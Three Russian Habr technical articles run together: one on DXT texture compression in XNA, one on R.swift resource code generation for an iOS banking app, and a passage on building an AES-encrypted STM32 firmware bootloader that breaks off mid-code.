| 4 | 00:00:00.6400000 | 00:00:00.0330000 | 00:00:00.1490000 | 00:00:00.1190000 |
| 5 | 00:00:00.6420000 | 00:00:00.0330000 | 00:00:00.1500000 | 00:00:00.120000 |
| 6 | 00:00:00.6340000 | 00:00:00.0470000 | 00:00:00.1320000 | 00:00:00.161000 |
| 7 | 00:00:00.6340000 | 00:00:00.0500000 | 00:00:00.1590000 | 00:00:00.179000 |
| 8 | 00:00:00.6300000 | 00:00:00.0500000 | 00:00:00.1580000 | 00:00:00.179000 |
| 9 | 00:00:00.6330000 | 00:00:00.0480000 | 00:00:00.1580000 | 00:00:00.179000 |
| 10 | 00:00:00.6210000 | 00:00:00.0470000 | 00:00:00.1650000 | 00:00:00.1820000 |
| Среднее | 00:00:00.6371000 | 00:00:00.0412000 | 00:00:00.1558000 | 00:00:00.1514000 |
Для наглядности график зависимости различных методов загрузки от времени (рис. 1.)
Рисунок 1. График зависимости различных методов загрузки от времени.
Таблица 2. Размеры изображений
| | | |
| --- | --- | --- |
| | Методы | Размеры, Мб |
| 1 | Размер 256 текстур по 128\*128 | 16 |
| 2 | Размер текстуры 2048\*2048 без сжатия | 16 |
| 3 | Размер текстуры 2048\*2048 с сжатием | 4 |
Как мы видим из представленных опытов Dxt сжатие очень эффективно. Рассмотрим его более подробно.
DXT сжатия (также иногда известный как сжатие S3 ) на самом деле очень простое. Вот как это работает:
* Изображение делится на блоки 4х4
* Для каждого блока, находится два самых важных цвета
* Получившиеся два цвета хранятся в 16 битах, в формате RGB 5.6.5
* Для каждого из 16 пикселей в блоке, хранится 2 бита значения, указывающее, как далеко он находится между двумя основными цветами
Эта простая схема, оказывается, работает удивительно хорошо для многих реальных изображений мира.
Есть пять вариантов DXT сжатия:
* DXT1 работает, как я описал выше, плюс некоторая дополнительная магия для кодирования альфа-канала
* DXT3 цвет кодируется также, как и DXT1, а также хранит 4 бита значения альфа-канала в пикселе
* DXT5 цвет кодируется также, как и DXT1, а также подобная схема используется для кодирования альфа-канала
* DXT2 и DXT4 были не очень-хорошо продуманной попыткой стандартизации и не чего дельного не вышло. Вы должны делать вид, что они не существуют
DXT1 использует 64 бита на блоке 4x4. По сравнению с 32-битной несжатой текстурой, это 8x кратная степень сжатия. DXT2-5 использует 128 бит в блоке 4x4, которая дает 4х кратная степень сжатия.
А теперь плохая новость: DXT сжатие – это сжатие с потерями. Иногда они могут быть очень большими. На самом деле это работает очень хорошо для некоторых изображений и совсем не подходит для других.
Итак, когда Вы хотите использовать Dxt компрессию скажем в XNA, когда Вы устанавливаете свойство текстуры Texture формат, параметр DxtCompressed, Content Pipeline автоматически выбирает между DXT1 и DXT5, в зависимости от того, имеет ли ваша текстура альфа-канал. Если она не содержит альфа-канал или содержит однородный альфа-канал будет использовать DXT1, чтобы получить наилучшую степень сжатия, но если текстура содержит дробные значения альфа-канала, он выберет DXT5 вместо этого.
Рассмотрим более подробно каждый из способов сжатия:
##### DXT1
DXT1 формат предназначен для декомпрессии в реальном времени аппаратными средствами на видеокарте во время рендеринга. DXT1 является форматом сжатия с потерями, с фиксированным коэффициентом сжатия 8:1. DXT1 сжатие является одной из форм кодирования блока усечениями (BTC), где изображение разбивается на непересекающиеся блоки, и пикселей в каждом блоке квантуются на ограниченное число значений. Значения цвета пикселей в блоке 4x4 пиксель аппроксимируются с равноудаленных точек на линии, проходящей через цветовое пространство RGB. Эта линия определяется двумя конечными точками, и для каждого пикселя в блоке 4x4 2-битный индекс хранится в одном из равноудаленных точек на линии. Концы линии, проходящей через цветовое пространство, кодируются в 16-битный формат 5:6:5 RGB и одна или две промежуточные точки генерируется за счет интерполяции. Формат позволяет хранить 1-битный альфа-канал, путем переключения на другой режим, основанный на порядке конечных точек, где создается только одна промежуточная точка и один вывод дополнительного цвета указывает, что он черный и полностью прозрачный.
Посмотрим на рисунок 2 представленный ниже:
Левое изображение является оригиналом. Правое иллюстрирует сжатие в формате DXT1.
Рисунок 2. Пример Dxt1 сжатия.
Визуально сжатое изображение не отличается от оригинала, что делает результаты сжатия приемлемыми для большинства пользователей. Сжатие, однако, значительно уменьшает размер текстуры.
В данном случае с 256 КБ до 32 КБ.
Однако все не так радужно с этой текстурой (рисунок 3):
Рисунок 3. Пример Dxt1 сжатия.
Основной проблемой является появление шума внутри текста, a также видны отчетливые полосы на фоне градиента.
Рисунок 4. Шумы внутри текста.
На рисунке 5 показано, как сжатие влияет на цвет. Слева Вы видите 16 оттенков красного, от чистого красного до чистого черного. Справа Вы видите четыре цвета, которые получились в результате DXT сжатия, из этих 16 оттенков.
Рисунок 5. Влияние сжатия на цвет.
Рисунок 6 показывает, что происходит, когда разные цвета не находятся на одной линии в цветовом пространстве. В этом случае были использованы все крайности палитры RGB (красный, зеленый и синий). Очевидно, в результате интерполированные цвета не совпадают с оригиналами. Обычно в области пикселей 4x4 не такой широкий выбор цветов, но это показывает, что текстуры с различными цветами страдают больше.
Рисунок 6. Влияние сжатия на цвет.
DXT1 сжатия обычно хорошо работает для шумных текстур и не так хорошо для чистых изображений, а также градиентов. Хитрость заключается в том, чтобы использовать его везде, где это возможно и не использовать его только на тех текстурах, где артефакты сжатия слишком нежелательны.
##### DXT5
DXT5 формат, отличается от DXT3 формата, тем что он хранит информацию об альфа канале, подобно тому как хранить информацию о цвете.
Для информации об альфа-канале он использует палитру подобную той, как храниться цифровая информация. Эта палитра содержит минимальное и максимальное значение альфа-канала. Различают два варианта с 6 и 4 опорными точками.
6 других значений альфа интерполируются между этим минимумом и максимумом. Таким образом, это позволяет более постепенные изменения значения альфа.
Второй вариант делает интерполяцию только для 4 других значений альфа-канала между минимальной и максимальной величиной, но также добавляет альфа-значения 0 и 1 (для полностью прозрачными и не прозрачными). Для некоторых текстур это может дать лучшие результаты.
Рисунок 7. Пример Dxt5 сжатия.
Как видим, края не очень хорошо обрабатываются в некоторых частях.
Рисунок 8. Рванные края при использовании Dxt5 сжатия.
Размер текстуры при этом уменьшился с 256 КБ до 64 КБ.
Потери качества на реальных изображениях не столь значительны и ими можно для большинства изображений пренебречь.
Использование Dxt сжатия позволяет:
* Уменьшить размер установочного пакета
* Уменьшить размер использования оперативной памяти
* Увеличить скорость «отрисовки» изображений
В своем проекте, после создания текстурного атласа, я получаю на выходе .jpg/.png/.bmp и описание атласа в .xml/.txt/.json. Поскольку я использую XNА/Monogame для сжатия в .xnb я использую [XNA 4.0 Content Compiler](http://xnacontentcompiler.codeplex.com/) в целом это очень понятное и простое решение, только для использования Dxt сжатия необходимо дописать в ContentBuilder’e при создании buildProject еще одно свойство:
```
buildProject.SetProperty(“XnaCompressContent“, “True”);
```
Источники:
[S3 Texture Compression](http://en.wikipedia.org/wiki/S3_Texture_Compression)
[DXT compression explained](http://www.fsdeveloper.com/wiki/index.php?title=DXT_compression_explained)
[DXT Compression Techniques](http://www.sjbrown.co.uk/2006/01/19/dxt-compression-techniques/)
[Real-Time YCoCg-DXT Compression](http://www.nvidia.com/object/real-time-ycocg-dxt-compression.html) | https://habr.com/ru/post/206386/ | null | ru | null |
# The New iOS Mobile Enterprise. Часть #1: Кодогенерация для ресурсов
#### Всем привет!
Меня зовут Дмитрий. Так получилось, что я являюсь тим лидом в команде из 13 iOS разработчиков уже на протяжении двух лет. И вместе мы трудимся над приложением [Тинькофф Бизнес](https://itunes.apple.com/ru/app/%D1%82%D0%B8%D0%BD%D1%8C%D0%BA%D0%BE%D1%84%D1%84-%D0%B1%D0%B8%D0%B7%D0%BD%D0%B5%D1%81/id1031837973?mt=8).
Хочу поделиться с вами нашим опытом о том, как релизить приложение в неожиданный момент с максимальным набором фич или баг фиксами и при этом не поседеть.
Расскажу о практиках и подходах которые помогли команде заметно ускориться в разработке и тестировании и заметно сократить количество стресса, багов, проблем при внеплановом или срочном релизе. <#MakeReleaseWithoutStress>.
#### Поехали!
Описание проблемы
-----------------
Представьте себе следующую ситуацию.
Идет очередной релиз. Ему предшествовало регрессионное тестирование, тестировщики снова нашли место, в котором вместо текста в приложении отображается ID строки.
Это была одна из самых частых наших проблем с которой мы сталкивались.
Вы можете не столкнуться с данной проблемой, если у вас не локализовано приложение на другой язык, или вся локализация пишется строками прямо в коде без использования Localizable.strings файла.
Но вы можете столкнуться с другими проблемами, которые мы поможем вам решить:
* Падает приложение, потому что вы неправильно указали имя картинки и сделали force unwrap
```
UIImage(named: "NotExist")!
```
* Падает приложение, если storyboard не добавлен в target
* Падает приложение, если создали контроллер из storyboard с несуществующим ID
* Падает приложение, если создали контроллер из storyboard с существующим ID, но сделали приведение не к тому классу
* Непредсказуемое поведение, если используете шрифт в коде, который не добавлен в info.plist, или файлу шрифта не проставлен target: возможен crash, а возможно и просто получение стандартного шрифта вместо того, который нужен. [Developer Apple: Custom Fonts](https://developer.apple.com/documentation/uikit/text_display_and_fonts/adding_a_custom_font_to_your_app), [Stackoverflow: crash](https://stackoverflow.com/questions/26248493/strange-crash-with-font-added-to-info-plist)
* Падает приложение, если в storyboards указали контроллеру класс, которого не существует
* Куча однообразного кода в котором создаются иконки, шрифты, контроллеры, вьюшки
* Отсутствуют картинки, иконки в runtime, хотя название картинки есть в storyboard, но нет в assets
* В storyboard используется шрифт, которого нет в info.plist
* В приложении появляются ID строк, вместо локализации в неожиданных местах, из-за удаления строк в Localizable.strings (думали, что не используются)
* Что-то еще, о чем забыл упомянуть, или мы еще не сталкивались.
Причина → Следствие
-------------------
Почему это все происходит?
Есть программный код, который компилируется. Если вы что-то написали не так (синтаксически, или неправильное название функции при вызове), то ваш проект просто не соберется. Это понятно, очевидно и логично.
А как быть с такими вещами, как ресурсы?
Они не компилируются, просто добавляются в bundle уже после компиляции кода. В связи с этим может возникать большое количество проблем в runtime, например, тот случай, что описан выше — со строками в локализации.
Поиск решения
-------------
Мы задумались, как подобные проблемы решаются вообще, и как мы можем это исправить. Я вспомнил [одну из конференций Cocoaheads в mail.ru](https://youtu.be/AjJhPwEUZSI?t=551). Там был доклад про сравнение инструментов для кодогенерации.
Посмотрев еще раз, что эти инструменты (библиотеки/фреймворки) из себя представляют, мы наконец-то нашли то, что было нужно.
При этом, похожий подход уже годами используется разработчиками под Android. Google подумал о них и сделал им такой инструмент из коробки. А ведь нам Apple даже стабильный Xcode не может сделать...
Оставалось выяснить только одно — какой именно инструмент выбрать: [Natalie](https://github.com/krzyzanowskim/Natalie), [SwiftGen](https://github.com/SwiftGen/SwiftGen) или [R.swift](https://github.com/mac-cain13/R.swift)?
У Natalie не было поддержки локализации, от него было решено сразу отказаться. У SwiftGen и R.swift были очень похожие возможности. Мы сделали выбор в пользу R.swift, просто исходя из количества звезд, зная о том, что в любой момент мы можем поменять на SwiftGen.
Как работает R.swift
--------------------
Запускается pre-compile build phase скрипт, пробегает по структуре проекта и генерирует файл, под названием `R.generated.swift`, который нужно будет добавить в проект (о том, как это сделать мы детальнее расскажем в самом конце).
Файл имеет следующую структуру:
```
import Foundation
import Rswift
import UIKit
/// This `R` struct is generated and contains references to static resources.
struct R: Rswift.Validatable {
fileprivate static let applicationLocale = hostingBundle.preferredLocalizations.first.flatMap(Locale.init) ?? Locale.current
fileprivate static let hostingBundle = Bundle(for: R.Class.self)
static func validate() throws {
try intern.validate()
}
// ...
/// This `R.string` struct is generated, and contains static references to 2 localization tables.
struct string {
/// This `R.string.localizable` struct is generated, and contains static references to 1196 localization keys.
struct localizable {
/// en translation: Активировать Apple Pay
///
/// Locales: en, ru
static let card_actions_activate_apple_pay = Rswift.StringResource(key: "card_actions_activate_apple_pay", tableName: "Localizable", bundle: R.hostingBundle, locales: ["en", "ru"], comment: nil)
// ...
/// en translation: Активировать Apple Pay
///
/// Locales: en, ru
static func card_actions_activate_apple_pay(_: Void = ()) -> String {
return NSLocalizedString("card_actions_activate_apple_pay", bundle: R.hostingBundle, comment: "")
}
}
}
}
```
Использование:
```
let str = R.string.localizable.card_actions_activate_apple_pay()
print(str)
> Активировать Apple Pay
```
"Зачем нужен `Rswift.StringResource`?", — спросите вы. Я сам не понимаю, зачем его генерировать, но, как объясняют авторы, то нужен он для следующего: [ссылка](https://github.com/mac-cain13/R.swift/pull/235#issuecomment-238140812).
Применение в реальных условиях
------------------------------
Небольшое пояснение контента ниже:
\*Было — пользовались подходом какое-то время, в итоге, ушли от него
\*Стало — подход который используем при написании нового кода
\*Не было, но у вас может быть — подход, которого никогда не существовало в нашем приложении, но я встречал его в различных проектах, в те далекие времена, когда еще не работал в Tinkoff.ru.
#### Localization
Мы начали применять `R.swift` для локализации, это избавило нас от проблем, о которых мы писали в самом начале. Теперь, если поменялся id в локализации, то проект не соберется.
\*Это работает только при условии, если вы поменяли id во всех локализациях на другой. Если же в какой-то из локализаций осталась строка, то при компиляции будет warning, что данный id локализован не на всех языках.
**Не было, но у вас может быть:**
```
final class NewsViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
titleLabel.text = NSLocalizedString("news_title", comment: "News title")
}
}
```
**Было:**
```
extension String {
public func localized(in bundle: Bundle = .main, value: String = "", comment: String = "") -> String {
return NSLocalizedString(self, tableName: nil, bundle: bundle, value: value, comment: comment)
}
}
final class NewsViewController: UIViewController {
private enum Localized {
static let newsTitle = "news_title".localized()
}
override func viewDidLoad() {
super.viewDidLoad()
titleLabel.text = Localized.newsTitle
}
}
```
**Стало:**
```
titleLabel.text = R.string.localizable.newsTitle()
```
#### Images
Теперь, если мы что-то переименовали в \*.xcassets, и не поменяли в коде, то проект просто не соберется.
**Было:**
```
imageView.image = UIImage(named: "NotExist") // иконка не видна пользователям
imageView.image = UIImage(named: "NotExist")! // crash
imageView.image = #imageLiteral(resourceName: "NotExist") // crash
```
**Стало:**
```
imageView.image = R.image.tinkoffLogo() // иконка всегда видна пользователям
```
#### Storyboards
**Было:**
```
let someStoryboardName = "SomeStoryboard" // Change to something else (e.g.: "somestoryboard") - get nil or crash in else
let someVCIdentifier = "SomeViewController" // Change to something else (e.g.: "someviewcontroller") - get nil or crash in else
let storyboard = UIStoryboard(name: someStoryboardName, bundle: .main)
let _vc = storyboard.instantiateViewController(withIdentifier: someVCIdentifier)
guard let vc = _vc as? SomeViewController else {
// логируем ошибку в какой-нибудь хипстерский сервис, вроде Fabric или Firebase
// или просто вызываем fatalError() ¯\_(ツ)_/¯}
```
**Стало:**
```
guard let vc = R.storyboard.someStoryboard.someViewController() else {
// логируем ошибку в какой-нибудь хипстерский сервис, вроде Fabric или Firebase
// или просто вызываем fatalError() ¯\_(ツ)_/¯
}
```
И так далее.
#### Валидация Storyboard
[R.validate()](https://github.com/mac-cain13/R.swift/blob/master/Documentation/Examples.md#runtime-validation) — это замечательный инструмент, который бьет по рукам (вернее просто выкидывает error в catch блок), если вы сделали что-то не так в storyboard или xib файлах.
Например:
* Указали название картинки, которой нет в проекте
* Указали шрифт, а потом перестали его использовать и удалили его из проекта (из info.plist)
Использование:
```
final class AppDelegate: UIResponder {
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]? = nil) -> Bool {
#if DEBUG
do {
try R.validate()
} catch {
// смело вызываем fatalError и передаем туда текст ошибки
// так как этот код вызывается только в debug режиме то делать это можно не опасаясь
// если что-то пойдет не так, то данный код отловится на этапе тестирования и ни в коем случае не должен попасть в production
fatalError(error.localizedDescription)
}
#endif
return true
}
}
```
#### И вот вы уже готовы купить два!
Как внедрять?
-------------
\*Component-based system — [wiki](https://en.wikipedia.org/wiki/Component-based_software_engineering), концепция разработки кода, при которой компоненты (набор экранов/модулей связанных между собой) разрабатываются в замкнутой среде (в нашем случае в локальных подах) с целью уменьшения связанности кодовой базы. Многим известен подход в backend, который основан на данном концепте — микросервисы.
\*Монолит — [wiki](https://en.wikipedia.org/wiki/Monolithic_application), концепция разработки кода, при которой вся кодовая база лежит в одном репозитории, и код тесно связан между собой. Данная концепция подходит маленьким проектам с конечным набором функций.
Если вы разрабатываете монолитное приложение или используете только сторонние зависимости, то вам повезло (но это не точно). Берете [tutorial](https://github.com/mac-cain13/R.swift#installation) и выполняете все строго по нему.
Это был не наш случай. Мы втянулись. Так как мы используем component-based system, то, `помимо` встраивания R.swift в основное приложение, мы решили встраивать его еще и локальные поды (которые являются компонентами).
Из-за постоянного обновления локализаций, картинок и всех элементов, которые влияют на файл R.generated.swift, возникает много конфликтов в сгенерируемом файле при мерже в общую ветку. И чтобы этого избежать, следует убрать R.generated.swift из под власти git репозитория. Автор так же [рекомендует это делать](https://github.com/mac-cain13/R.swift#cocoapods-recommended).
Добавляем в `.gitignore` следующие строки.
```
# R.Swift generated files
*.generated.swift
```
Еще, если вы не хотите генерировать код для каких-то ресурсов, всегда можно воспользоваться игнорированием отдельных файлов или целых папок:
```
"${PODS_ROOT}/R.swift/rswift" generate "${SRCROOT}/Example" "--rswiftignore" "Example/.rswiftignore"
```
[описание .rswiftignore](https://github.com/mac-cain13/R.swift/blob/master/Documentation/Ignoring.md#ignoring-resources)
Как и в основном проекте, нам было важно не добавлять R.generated.swift файлы из локальных подов в git репозиторий. Мы начали рассматривать варианты, как это можно было бы сделать:
* alias на R.generated.swift, чтобы файл (alias, например: R.swift) добавился в проект, а затем, при компиляции по ссылке был доступен настоящий файл. Но cocoapods умный, и не позволил так сделать
* в podspec в pre-compile фазе добавлять файл R.generated.swift в сам проект с помощью скриптов, но тогда он добавится просто, как файл в файловой системе, а в проекте файл так и не появится
* другие более-менее аккуратные варианты
* магия в Podfile
**Магия**
```
pre_install do |installer|
installer.pod_targets.flat_map do |pod_target|
if pod_target.pod_target_srcroot.include? 'LocalPods' # Идем по всем подам и если в их пути есть LocalPods, то применяем к ним то, что ниже
pod_target_srcroot = pod_target.pod_target_srcroot # Достаем путь
pod_target_path = pod_target_srcroot.sub('${PODS_ROOT}/..', '.') # Меняем переменные окружения на относительный путь
pod_target_sources_path = pod_target_path + '/' + pod_target.name + '/Sources' # Создаем путь до папки Sources
generated_file_path = pod_target_sources_path + '/R.generated.swift' # Создаем путь до файла R.generated.swift
File.new(generated_file_path, 'w') # Создаем пустой файл R.generated.swift с возможностью записи в него
end
end
end
```
* и еще вариант… все же добавить R.generated.swift в git
Мы временно остановились на варианте: "магия в Podfile", при том, что у него был ряд недостатков:
* Запускать его можно было только из корня проекта (хотя cocoapods может запускаться почти из любой папки в проекте)
* У всех подов должна быть папка с названием Sources (хотя это не критично, если в подах порядок)
* Он был странный и непонятный, а поддерживать рано или поздно пришлось бы (это все же костыль)
* Если какая-то сторонняя библиотека лежит в папке, в пути которой есть "LocalPods", то он попытается и туда добавить R.generated.swift файл или упадет с ошибкой
#### prepare\_command
Живя какое-то время со скриптом и страдая, я решил поизучать эту тему шире и нашел еще один вариант.
В Podspec есть [prepare\_command](https://guides.cocoapods.org/syntax/podspec.html#prepare_command), которая предназначена, как раз для создания и изменения исходников, которые затем будут добавлены в проект.
\*News — название пода, которое нужно заменить на название именно вашего локального пода
\*touch — команда для создания файла. Аргументом является относительный путь до файла (включая название файла с расширением)
Далее мы будем производить махинации с News.podspec
Данный скрипт вызывается при первом запуске `pod install` и добавляет нужный нам файл в папку исходников в поде.
```
Pod::Spec.new do |s|
# ...
generated_file_path = "News/Sources/R.generated.swift"
s.prepare_command =
<<-CMD
touch "#{generated_file_path}"
CMD
# ...
end
```
Далее идет еще один "финт ушами" — нам нужно сделать вызов скрипта R.swift для локальных подов.
```
Pod::Spec.new do |s|
# ...
s.dependency 'R.swift'
r_swift_script = '"${PODS_ROOT}/R.swift/rswift" generate "${PODS_TARGET_SRCROOT}/News/Sources"'
s.script_phases = [
{
:name => 'R.swift',
:script => r_swift_script,
:execution_position => :before_compile
}
]
end
```
Правда, есть одно "но". C локальными подами `prepare_command` не работает, вернее работает, но в каких-то особых случаях. Есть [обсуждение этой темы на Github](https://github.com/CocoaPods/CocoaPods/issues/2187).
#### Fatality
\*Fatality — [wiki](https://en.wikipedia.org/wiki/Fatality_(Mortal_Kombat)), финальный удар в Mortal Kombat.
Проведя еще немножечко ресерча, я нашел еще одно решение — гибрид подходов c `prepare_command` и `pre_install`.
Небольшая модификация магии из Podfile:
```
pre_install do |installer|
# map development pods
installer.development_pod_targets.each do |target|
# get only main spec and exclude subspecs
spec = target.non_test_specs.first
# get full podspec file path
podspec_file_path = spec.defined_in_file
# get podspec dir path
pod_directory = podspec_file_path.parent
# check if path contains local pods directory
# exclude development but non local pods
local_pods_directory_name = "LocalPods"
if pod_directory.to_s.include? local_pods_directory_name
# go to pod root directorty and run prepare command in sub-shell
system("cd \"#{pod_directory}\"; #{spec.prepare_command}")
end
end
end
```
И тот же самый скрипт, что не запускался для локальных подов
```
Pod::Spec.new do |s|
# ...
s.dependency 'R.swift'
generated_file_path = "News/Sources/R.generated.swift"
s.prepare_command =
<<-CMD
touch "#{generated_file_path}"
CMD
r_swift_script = '"${PODS_ROOT}/R.swift/rswift" generate "${PODS_TARGET_SRCROOT}/News/Sources"'
s.script_phases = [
{
:name => 'R.swift',
:script => r_swift_script,
:execution_position => :before_compile
}
]
end
```
В итоге это работает так, как мы и ожидаем.
Наконец-то!
P.S.:
Пытался сделать еще кастомную команду вместо `prepare_command`, но `pod lib lint` (команда для валидации контента podspec и самого пода) ругается на лишние переменные и не проходит.
#### Нелокальные поды
В удаленных подах (те, что находятся каждый в своем репозитории) не нужно всей этой скриптовой магии, что описано выше, ибо там кодовая база строго привязана к версии зависимости.
Достаточно просто встроить в сам Example (проект, генерируемый после команды pod lib create ) R.swift скрипт и добавлять R.generated.swift в пакет с библиотекой (подом). Если в проекте нет Example, то уже придется писать скрипты, которые будут похожи на те, которые я привел.
P.S.:
Есть небольшое уточнение:
R.swift + Xcode 10 + new build system + incremental build != <3
[Подробнее о проблеме на главной странице библиотеки](https://github.com/mac-cain13/R.swift#%EF%B8%8F-rswift-and-xcode-10--swift-42) или [тут](https://github.com/mac-cain13/R.swift/issues/456)
R.swift v4.0.0 не работает с cocoapods 1.6.0 :(
Думаю в скором времени уже поправят все проблемы.
Вывод
-----
Всегда нужно держать планку качества как можно выше. Особенно это важно для приложений, которые работают с финансами.
При этом не нужно перегружать тестирование и находить баги как можно раньше. В нашем случае это находится либо в момент компиляции кода разработчиком, либо на прогоне проверок для Pull Requests. Тем самым, отсутствие локализации мы находим не внимательным взглядом тестировщиков или автоматизированными тестами, а обычным процессом сборки приложения.
Также нужно учитывать тот факт, что это — сторонний инструмент, который завязан на структуру проекта и парсит ее контент. Если поменяется структура файла проекта, то и инструмент придется менять.
Мы пошли на этот риск и, в случае чего, всегда готовы поменять данный инструмент на любой другой или написать свой.
А выигрыш от R.swift — огромное количество человеко-часов, которые команда может потратить на куда более важные вещи: новые фичи, ресерч новых технический решений, повышение качества и так далее. R.swift сполна вернул то количество времени, которое было потрачено на его интеграцию, даже с учетом возможной замены его в будущем на другое похожее решение.
[R.swift](https://github.com/mac-cain13/R.swift)
Bonus
-----
Вы можете поиграться с примером, чтобы сразу своими глазами увидеть профит от кодогенерации для ресурсов. Исходный код проекта "на поиграться": [GitHub](https://github.com/cooler333/code-gen-article-example).
#### Спасибо огромное, что прочитали статью или же просто долистали до этого места, мне в любом случае приятно)
#### That's all. | https://habr.com/ru/post/431148/ | null | ru | null |
# Загрузчик с шифрованием для STM32
В данной статье хотел бы написать о своем опыте создания загрузчика для STM32 с шифрованием прошивки. Я являюсь индивидуальным разработчиком, поэтому нижеприведенный код может не соответствовать каким-либо корпоративным стандартам
В процессе работы ставились следующие задачи:
* Обеспечить обновление прошивки пользователем устройства с SD-карты.
* Обеспечить контроль целостности прошивки и исключить запись некорректной прошивки в память контроллера.
* Обеспечить шифрование прошивки для исключения клонирования устройства.
Код писался в Keil uVision с использованием библиотек stdperiph, fatFS и tinyAES. Подопытным микроконтроллером был STM32F103VET6, но код может быть легко адаптирован под другой контроллер STM. Контроль целостности обеспечивается алгоритмом CRC32, контрольная сумма расположена в последних 4 байтах файла с прошивкой.
В статье не описано создание проекта, подключение библиотек, инициализация периферии и прочие тривиальные этапы.
Для начала стоит определиться с тем, что такое загрузчик. Архитектура STM32 подразумевает плоскую адресацию памяти, когда в одном адресном пространстве находится Flash-память, RAM, регистры периферии и всё остальное. Загрузчик — это программа, которая начинает выполняться при запуске микроконтроллера, проверяет, нужно ли выполнить обновление прошивки, если нужно — выполняет его, и запускает основную программу устройства. В данной статье будет описан механизм обновления с SD-карты, но можно использовать любой другой источник.
Шифрование прошивки производится алгоритмом AES128 и реализовано при помощи библиотеки tinyAES. Она представляет из себя всего два файла, один с расширением .c, другой с расширением .h, поэтому проблем с её подключением возникнуть не должно.
После создания проекта следует определиться с размерами загрузчика и основной программы. Для удобства размеры следует выбирать кратно размеру страницы памяти микроконтроллера. В данном примере загрузчик будет занимать 64 Кб, а основная программа займет оставшиеся 448 Кб. Загрузчик будет размещаться в начале Flash-памяти, а основная программа сразу после загрузчика. Это следует указать в настройках проекта в Keil. Загрузчик у нас начинается с адреса 0x80000000 (именно с него STM32 начинает выполнение кода после запуска) и имеет размер 0x10000, указываем это в настройках.
Основная программа будет начинаться с 0x08010000 и заканчиваться на 0x08080000 для удобства сделаем define со всеми адресами:
```
#define MAIN_PROGRAM_START_ADDRESS 0x08010000
#define MAIN_PROGRAM_END_ADDRESS 0x08080000
```
Так же внесем в программу ключи шифрования и инициализационный вектор AES. Данные ключи лучше сгенерировать случайным образом.
```
static const uint8_t AES_FW_KEY[] = {0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF, 0xAF};
static const uint8_t AES_IV[] = {0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA};
```
В данном примере вся процедура обновления прошивки построена в виде конечного автомата. Это позволяет в процессе обновления отображать что-то на экране, сбрасывать Watchdog и выполнять любые другие действия. Для удобства сделаем define с основными состояниями автомата, чтобы не путаться в числах:
```
#define FW_START 5
#define FW_READ 1000
#define FW_WRITE 2000
#define FW_FINISH 10000
#define FW_ERROR 100000
```
После инициализации периферии нужно проверить необходимость обновления прошивки. В первом состоянии производится попытка чтения SD-карты и проверка наличия файла на ней.
```
uint32_t t; /* Временная переменная */
uint32_t fw_step; /* Индекс состояния конечного автомата */
uint32_t fw_buf[512]; /* Буфер для считанного блока прошивки */
uint32_t aes_buf[512]; /* Буфер для расшифрованного блока прошивки равен */
/* Буферы равны размеру страницы Flash-памяти*/
uint32_t idx; /* Текущий адрес в памяти */
char tbuf[64]; /* Временный буфер для sprintf */
FATFS FS; /* Структура библиотеки fatFS - файловая система */
FIL F; /* Структура библиотеки fatFS - файл */
case FW_READ: /* Чтение прошивки */
{
if(f_mount(&FS, "" , 0) == FR_OK) /* Пробуем смонтировать SD-карту*/
{ /* Проверяем, есть ли файл с прошивкой. */
if(f_open(&F, "FIRMWARE.BIN", FA_READ | FA_OPEN_EXISTING) == FR_OK)
{
f_lseek(&F, 0); /* Переходим в начало файла */
CRC_ResetDR(); /* Сбрасываем аппаратный счетчик CRC */
lcd_putstr("Обновление прошивки", 1, 0); /* Выводим сообщение на экран */
/* Устанавливаем адрес чтения на начало основной программы */
idx = MAIN_PROGRAM_START_ADDRESS;
fw_step = FW_READ + 10; /* Переходим к следующему состоянию */
} else {fw_step = FW_FINISH;} /* Если файла нет - завершаем загрузчик */
} else {fw_step = FW_FINISH;} /* Если нет SD-карты - завершаем загрузчик */
break;
}
```
Теперь нам нужно провести проверку прошивки на корректность. Здесь сначала идет код проверки контрольной суммы, выполняющийся при окончании чтения файла, а потом само чтение. Возможно, так писать не следует, напишите в комментариях что вы об этом думаете. Чтение производится по 2 Кб для удобства работы с Flash-памятью, т.к. у STM32F103VET6 размер страницы памяти 2 Кб.
```
case FW_READ + 10: /* Проверка корректности файла с прошивкой */
{
/* В процессе показываем на экране, сколько байт считано */
sprintf(tbuf, "Проверка: %d", idx - MAIN_PROGRAM_START_ADDRESS);
lcd_putstr(tbuf, 2, 1);
if (idx > MAIN_PROGRAM_END_ADDRESS) /* Если прочитаи весь файл прошивки */
{
f_read(&F, &t, sizeof(t), &idx); /* Считываем 4 байта контрольной суммы */
/* Записываем считанные 4 байта в регистр данных периферийного блока CRC */
CRC_CalcCRC(t);
if(CRC_GetCRC() == 0) /* Если результат 0, то файл не поврежден */
{
/* Устанавливаем адрес записи на адрес начала основной программы */
idx = MAIN_PROGRAM_START_ADDRESS;
f_lseek(&F, 0); /* Переходим в начало файла */
fw_step = FW_READ + 20; /* Переходим к следующему состоянию */
break;
} else
{
lcd_putstr("Файл поврежден", 3, 2); /* Выводим сообщение на экран */
fw_step = FW_ERROR; /* Переходим к шагу обработки ошибки обновления */
break;
}
}
f_read(&F, &fw_buf, sizeof(fw_buf), &t); /* Считываем 2 Кб из файла в буфер */
if(t != sizeof(fw_buf)) /* Если не получилось считать */
{
lcd_putstr("Ошибка чтения", 3, 2);
fw_step = FW_ERROR; /* Переходим к шагу обработки ошибки обновления */
break;
}
/* Расшифровываем считанный блок прошивки */
AES_CBC_decrypt_buffer((uint8_t*)&aes_buf, (uint8_t *)&fw_buf, sizeof(fw_buf), AES_FW_KEY, AES_IV);
for(t=0;t
```
Теперь, если прошивка не повреждена, то нужно её снова прочитать, но на этот раз уже записать во Flash — память.
```
case FW_READ + 20: // Flash Firmware
{
/* В процессе показываем на экране, сколько байт записано */
sprintf(tbuf, "Запись: %d", idx - MAIN_PROGRAM_START_ADDRESS);
lcd_putstr(tbuf, 4, 2);
if (idx > MAIN_PROGRAM_END_ADDRESS) /* Когда записали всю прошивку */
{
lcd_putstr("Готово", 7, 3); /* Выводим сообщение на экран */
